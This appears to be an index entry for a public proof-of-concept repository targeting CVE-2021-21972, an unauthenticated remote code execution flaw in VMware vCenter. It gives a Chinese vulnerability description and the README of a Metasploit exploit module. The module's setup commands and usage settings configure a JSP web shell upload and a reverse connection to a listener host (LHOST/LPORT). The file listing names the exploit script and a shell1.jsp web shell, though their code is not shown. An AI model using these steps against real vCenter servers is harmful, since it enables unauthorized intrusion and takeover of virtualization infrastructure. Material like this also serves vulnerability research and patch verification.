CVE-2021-21972 PoC — VMware vSphere Client 路径遍历漏洞

Source

https://github.com/TaroballzChen/CVE-2021-21972

Associated Vulnerability

Title:VMware vSphere Client 路径遍历漏洞 (CVE-2021-21972)
Description:VMware vSphere Client是美国威睿（VMware）公司的一个应用软件。提供虚拟化管理。 VMware vSphere Client存在路径遍历漏洞，未授权的攻击者可以通过开放443端口的服务器向vCenter Server发送精心构造的请求，从而在目标系统上远程执行恶意代码。以下产品和版本受到影响：vSphere Client 6.5、vSphere Client 6.7、vSphere Client 7.0、VMware Cloud Foundation（vCenter Server）

Description

CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script

Readme

# CVE-2021-21972
CVE-2021-21972 Unauthorized RCE in VMware vCenter metasploit exploit script

# preparation
```zsh
git clone https://github.com/TaroballzChen/CVE-2021-21972
cd CVE-2021-21972
mkdir -p ~/.msf4/modules/exploits/multi/http
cp * ~/.msf4/modules/exploits/multi/http
chmod +x ~/.msf4/modules/exploits/multi/http/vmware_vcenter_server_unauthenticated_file_upload_exploit.py
msfconsole
```

# metasploit usage
```console
set target <target>
set PAYLOAD <payload>
set rfile ~/.msf4/modules/exploits/multi/http/shell1.jsp
set rhost <vuln ip>
set rssl <true for https ; false for http>
set port <vuln port>
set LHOST <list host ip>
set LPORT <list port>
```

# exploit
![setting](1.png)
![exploit](2.png)

File Snapshot


 [4.0K]  /data/pocs/45f8efd101b96e7eeef2f8234bbf15917caf4548
├── [550K]  1.png
├── [310K]  2.png
├── [ 34K]  LICENSE
├── [ 709]  README.md
├── [ 763]  shell1.jsp
└── [ 11K]  vmware_vcenter_server_unauthenticated_file_upload_exploit.py

0 directories, 6 files

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